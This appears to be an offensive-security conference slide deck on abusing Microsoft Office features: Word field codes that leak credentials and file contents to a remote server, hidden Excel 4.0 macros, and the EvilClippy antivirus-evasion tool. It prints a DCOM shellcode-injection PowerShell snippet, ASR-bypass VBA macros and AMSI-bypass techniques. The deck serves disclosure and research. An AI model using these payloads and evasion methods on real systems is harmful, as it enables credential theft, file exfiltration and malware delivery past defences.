Most MS Office malware focusses on well-known tricks such as DDE and VBA macros. But there is so much more functionality in Word and Excel that can be abused.

*We’ll take you on a journey down the rabbit hole!*
WHO NEEDS CODE EXECUTION ANYWAY?
ABOUT FIELDS

Field

Please choose a field

Categories:
(All)

Field names:
AutoTextList
BarCode
Bibliography
BidiOutline
Citation
Comments
Compare
CreateDate
Database
Date
DocProperty
DocVariable
EditTime
Eq
FileName
FileSize
Fill-in
GoToButton

Field properties

Property:
CharactersWithSpaces
Comments
Company
CreateTime
HyperlinkBase
Keywords
LastPrinted
LastSavedBy
LastSavedTime
Lines
Manager
NameOfApplication
ODMADocId
Pages
Paragraphs

Field options

No field options available for this field

- Preserve formatting during updates

Description:
Insert the value of the property chosen in Options

Field Codes

OK  Cancel
**IncludePicture**

Field

Please choose a field

Categories: (All)

Field names:
- DocVariable
- EditTime
- Eq
- FileName
- FileSize
- Fill-in
- GoToButton
- GreetingLine
- Hyperlink
- If
- IncludePicture
- IncludeText
- Index
- Info
- Keywords
- LastSavedBy
- Link
- ListNum

Field properties

Filename or URL:

Field options

- [ ] Graphic filter:
- [ ] Data not stored with document
- [ ] Resize Horizontally from source
- [ ] Resize Vertically from source

- [ ] Preserve formatting during updates

Field Codes

OK  Cancel
CREDENTIAL THEFT
CVE-2019-0540
CVE-2019-0540 – CREDENTIAL THEFT

- In the header of a DotX file
- INCLUDEPICTURE URL is made dynamic by adding the USERNAME field
- Word does not continue loading as long as picture is not loaded
ARBITRARY FILE READ

CVE-2019-0561
A revisit to CVE2002-1143

An attacker can potentially exploit this vulnerability to obtain the contents of files residing on a victim user's system.

{ INCLUDEPICTURE "http:\\www.alicesserver.com" & { FILENAME "p" } & { INCLUDETEXT "c:\a.txt" } } \d }

In 2002, an includetext could read an arbitrary file. MS Fix: the includetext field is not updated in various events and as such is no longer dynamic.

Or is it still ...?
CVE-2019-0561 – ARBITRARY FILE READING (2/2)

DOUBLE CLICK TO SEE THE MONKEY DANCE!

{ MACROBUTTON UpdateFields { INCLUDEPICTURE \d "http://icons.iconarchive.com/icons/google/noto-emoji-animals-nature/256/22212-monkey-icon.png" /* MERGEFORMATINET } { INCLUDEPICTURE "http://192.168.178.11/\{ INCLUDETEXT "c:\windows\panther\unattend.xml" \c XML \* MERGEFORMAT }" \d \* MERGEFORMAT } }
Double-click on the monkey to see him dance!
MEET M
GET&TRANSFORM ABUSE
GIVE ME THE POWER!

Fields are old school and patched... Now same tricks with new school techniques

Excel includes a powerful set of features called **Get & Transform**, which provides fast, easy data gathering and shaping capabilities. **Get & Transform** enables you to connect, combine, and refine data sources to meet your analysis needs. These features are also used in **Power BI**, and in the **Power Query Add-In** available for previous versions of Excel.
STEALING UNATTEND.XML

Column A: Retrieving data from file (GET&TRANSFORM)

Column B: Posting results (WEBSERVICE, max 2048 chars)
Ongoing research, there is a lot more to retrieve using this feature
WHO NEEDS VBA FOR MACROS ANYWAY?
ENTERING THE MACRO RABBIT HOLE

VBA != Macros

There are at least two macro languages supported by MS Office
• Visual Basic for Applications (VBA)
• Excel 4.0 macro’s (XLM, only in Excel)

VBA != VBA

For VBA there are 2 intermediary languages
• P-code
• Exe-codes
HOW TO INSERT AN XLM MACRO
EXCEL 4.0 MACRO KUNG FU

https://outflank.nl/blog/2018/10/06/old-school-evil-excel-4-0-macros-xlm/
HIDING YOUR EXCEL 4.0 MACRO

2.4.28 BoundSheet8
02/14/2019 • 2 minutes to read

The BoundSheet8 record specifies basic information about a sheet (1), including the sheet (1) name, hidden state, and type of sheet (1).

<table>
<thead>
<tr>
<th>IbPlyPos</th>
<th>A</th>
<th>unused</th>
<th>dt</th>
<th>stName (variable)</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

IbPlyPos (4 bytes): A FilePointer as specified in [MS-OSHARED] section 2.2.1.5 that specifies the stream position of the start of the BOF record for the sheet (1).

A - hsState (2 bits): An unsigned integer that specifies the hidden state of the sheet (1). MUST be a value from the following table:

<table>
<thead>
<tr>
<th>Value</th>
<th>Meaning</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x00</td>
<td>Visible</td>
</tr>
<tr>
<td>0x01</td>
<td>Hidden</td>
</tr>
<tr>
<td>0x02</td>
<td>Very Hidden; the sheet (1) is hidden and cannot be displayed using the user interface</td>
</tr>
</tbody>
</table>
HIDING YOUR EXCEL 4.0 MACRO

2.4.28 BoundSheet8

02/14/2019 • 2 minutes to read

The BoundSheet8 record specifies basic information about a sheet (1), including the sheet (1) name, hidden state, and type of sheet (1).

Can be achieved with one line of VBA:

```
ActiveSheet.Visible = xlSheetVeryHidden
```

Then remove VBA code and save the Excel file

A - hsState (2 bits): An unsigned integer that specifies the hidden state of the sheet (1). MUST be a value from the following table:

<table>
<thead>
<tr>
<th>Value</th>
<th>Meaning</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x00</td>
<td>Visible</td>
</tr>
<tr>
<td>0x01</td>
<td>Hidden</td>
</tr>
<tr>
<td>0x02</td>
<td>Very Hidden; the sheet (1) is hidden and cannot be displayed using the user interface</td>
</tr>
</tbody>
</table>
AV INDUSTRY FORGOT ABOUT 1992 TECHNOLOGY
**XLM VIA SYLK**

**XLM macros also supported in SYLK files**

- Text-based file format which originates from the 80s
- SYLK (.slk) files never open in protected mode sandbox!
- Turned out to be an RCE on MS Office 2011 for Mac (won’t fix)

Integrated into SharpShooter by MDSec:
XLM EXPOSURE VIA (D)COM

Shellcode injection into remote system with XLM via ExecuteExcel4Macro

```powershell
$excel = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application", "server01"));
$memaddr = $excel.ExecuteExcel4Macro('CALL("Kernel32","VirtualAlloc","JJJJJ",0,833,4096,64)');
$ret = $excel.ExecuteExcel4Macro('CALL("Kernel32","WriteProcessMemory","JJJCJJ",-1,
' + ($memaddr + 0) + ', ' + "CHAR`(252`)" + ', 1, 0)');
...
$ret = $excel.ExecuteExcel4Macro('CALL("Kernel32","WriteProcessMemory","JJJCJJ",-1,
' + ($memaddr + 832) + ', ' + "CHAR`(232`)" + ', 1, 0)');
$excel.ExecuteExcel4Macro('CALL("Kernel32","CreateThread","JJJJJJJ",0, 0, ' + $memaddr + ', 0, 0, 0)');
```

Powershell and Cobalt Strike implementations available at:
https://github.com/outflanknl/Excel4-DCOM
### 2.3.4.3 Module Stream: Visual Basic Modules

Specifies the source code for a module.

| 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 1 | 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 2 | 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 3 | 0 | 1 |

**PerformanceCache (variable):** An array of bytes that forms an implementation-specific and version-dependent performance cache for the module. MUST be `MODULEOFFSET` (section 2.3.4.2.3.2.5) bytes in size. **MUST be ignored on read.**

**CompressedSourceCode (variable):** An array of bytes compressed as specified in `Compression` (section 2.4.1). When decompressed yields an array of bytes that specifies the textual representation of VBA language source code as specified in [MS-VBAl] section 4.2. MUST contain MBCS characters encoded using the code page specified in `PROJECTCODEPAGE` (section 2.3.4.2.1.4).
INTRODUCING EVIL CLIPPY

It looks like your maldoc does not yet bypass AV.

Do you want me to help?

https://github.com/outflanknl/EvilClippy
EVIL CLIPPY FEATURES

Current features

- Cross-platform (runs on OSX, Linux, Windows)
- Hide macros from GUI editor
- Fool analyst tools by removing module names
- VBA stomping (p-code abuse)
- Serve payloads via HTTP templates

Available at https://github.com/outflanknl/EvilClippy
HOW EFFECTIVE IS THIS? (BEFORE CLIPPY)

34 engines detected this file

SHA-256: dffa40c1d21747e928166d98db407790cc4f4864d92e6970ae5a6fe8289d97af
File name: cs_original.doc
File size: 43 KB
Last analysis: 2019-03-26 14:27:06 UTC

Detection | Details | Community
--- | --- | ---
Ad-Aware | W97M.Downloader.DAR | |
ALYac | W97M.Downloader.DAR | |
Arcabit | W97M.Downloader.DAR | |
Avast | VBA:Downloader-MA [Trj] | |
AVG | VBA:Downloader-MA [Trj] | |
HOW EFFECTIVE IS THIS? (AFTER CLIPPY)

One engine detected this file

- SHA-256: b7bcd204243f2c6772cd171c3131f0b0cae872c14fd08b0a853f591b29f9388
- File name: cs_random.doc
- File size: 39 KB
- Last analysis: 2019-03-28 01:18:28 UTC

Detection

<table>
<thead>
<tr>
<th>Tool</th>
<th>Result</th>
</tr>
</thead>
<tbody>
<tr>
<td>Cyren</td>
<td>✗ W97M/ShellCode.B.gen!Eldorado</td>
</tr>
<tr>
<td>Ad-Aware</td>
<td>✓ Clean</td>
</tr>
<tr>
<td>AegisLab</td>
<td>✓ Clean</td>
</tr>
<tr>
<td>AhnLab-V3</td>
<td>✓ Clean</td>
</tr>
<tr>
<td>AIYac</td>
<td>✓ Clean</td>
</tr>
</tbody>
</table>
BYPASSING MODERN DEFENSES: AMSI & ASR
Office VBA + AMSI: Parting the veil on malicious macros

MacroRuntimeScope: Disable, Low Trust documents, All documents

AMS also catches pcode
# BYPASSING AMSI FOR MACROS

<table>
<thead>
<tr>
<th>Technique</th>
<th>Example Procedures</th>
</tr>
</thead>
</table>
| Abuse non-VBA functionality | • Fields & Powerquery  
• Excel 4.0 macros |
| Execution outside of MacroRuntimeScope | • Drop malicious code into trusted locations |
| Non-trigger COM & Win32 API functions | • Application.ExecuteExcel4macro  
• CreateObject ”Excel.application” and calling DDEInitialize  
• WMI Spawninstance |
| VBA functions that are not in AMSI logs (not COM & not Win32 API) | • Application.Sendkeys  
• A macro creates a .bat and .reg in startup by using Word saveas .txt, reg key disables AMSI by altering MacroRuntimeScope |
ATTACK SURFACE REDUCTION RULES

Rules enforced by Windows Defender Exploit Guard

Block Win32 API calls from Office macro (static rule)
Bypass: invoke API calls without VBA signature using ExecuteExcel4Macro

```vba
Sub ASR_bypass_Win32_API_rule()
    Application.ExecuteExcel4Macro _
    "call(""shell32"", "ShellExecuteA", "JCCCCCC", 0, "open","calc", "", "", 5)
End Sub
```

Block all Office applications from creating child processes (dynamic rule)
Bypass: let another process do the dirty job, such as the running instance of explorer.exe (can be achieved via COM and WMI)

```vba
Sub ASR_bypass_create_child_process_rule()
    Const ShellBrowserWindow = _
    "{C08AFD90-F2A1-11D1-8455-00A0C91F3880}"
    Set SBW = GetObject("new:" & ShellBrowserWindow)
    SBW.Document.Application.ShellExecute ("calc.exe")
End Sub
```
**RELATED RESEARCH**

- **MS Office Magic Show** (DerbyCon 2018)

- **MS Office File Format Sorcery** (TROOPERS19)
  Video recording to be released

- **VBA stomping by Walmart team**
  [https://vbastomp.com](https://vbastomp.com)

- **Pcodedmp tool** by Dr. Bontchev
  [https://github.com/bontchev/pcodedmp](https://github.com/bontchev/pcodedmp)

- **SharpShooter** by Dominic Chell (MDSec)
  [https://www.mdsec.co.uk/2019/02/macros-and-more-with-sharpshooter-v2-0/](https://www.mdsec.co.uk/2019/02/macros-and-more-with-sharpshooter-v2-0/)

- **Office lateral movement and DCOM** by Philip Tsukerman (Cybereason)
  [https://www.cybereason.com/blog/dcom-lateral-movement-techniques](https://www.cybereason.com/blog/dcom-lateral-movement-techniques)
clear advice with a hacker mindset

Pieter Ceelen
+31 6 5157 2696
pieter@outflank.nl
www.outflank.nl/pieter
@PtrPieter

Stan Hegt
+31 6 1188 5039
stan@outflank.nl
www.outflank.nl/stan
@StanHacked